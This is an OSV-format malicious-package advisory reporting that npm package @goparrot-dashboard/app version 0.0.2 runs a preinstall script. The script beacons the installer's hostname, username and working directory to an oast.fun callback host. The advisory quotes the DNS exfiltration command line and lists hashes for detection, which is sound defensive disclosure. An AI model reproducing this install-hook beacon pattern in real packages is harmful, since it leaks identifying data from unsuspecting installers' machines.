{"id":"MAL-2026-18492","summary":"Malicious code in @goparrot-dashboard/app (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658)\nThe package declares a `preinstall` lifecycle script that runs `node index.js` automatically on `npm install`. index.js collects installer host identifiers — `hostname`, the output of `whoami`, and `process.cwd()` — and transmits them to a hardcoded Interactsh (oast.fun) callback host at `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (`execSync(\"nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}\")`), and an HTTPS GET to `https://\u003cCALLBACK\u003e/rootxravi-poc?...` carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.\n","modified":"2026-11-03T03:45:04.148758493Z","published":"2026-11-03T03:30:15Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["0.0.2"],"id":"IN-MAL-2026-022513","import_time":"2026-11-03T03:37:00.485143488Z","modified_time":"2026-11-03T03:30:15Z","sha256":"15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@goparrot-dashboard/app/v/0.0.2"}],"affected":[{"package":{"name":"@goparrot-dashboard/app","ecosystem":"npm","purl":"pkg:npm/%40goparrot-dashboard/app"},"versions":["0.0.2"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"sha256":"ba3bd83c264aebc84cdc25f1e1ecfeb343b07b0676a7cd54a4f8d596f80c5f7a","tlsh":"db11af65677563f05eb06ec0a70315a23397c15afe11ffe0265e42429bd820992730da","path":"index.js"}],"package_integrity":[{"hashes":{"sha1":"8bdb408120fe0c657d875879555f373d2e8caae6","sha512_sri":"sha512-FIiFsRTATSPX72iyaRdjo+sH/mS7lHU7exmEOYy7oZpY1IIbzeyX19bOMQg2qro9yEB0uYI4ghIKk3lvMZAQ4A=="},"filename":"app-0.0.2.tgz"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@goparrot-dashboard/app/MAL-2026-18492.json"}}],"schema_version":"1.9.2","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}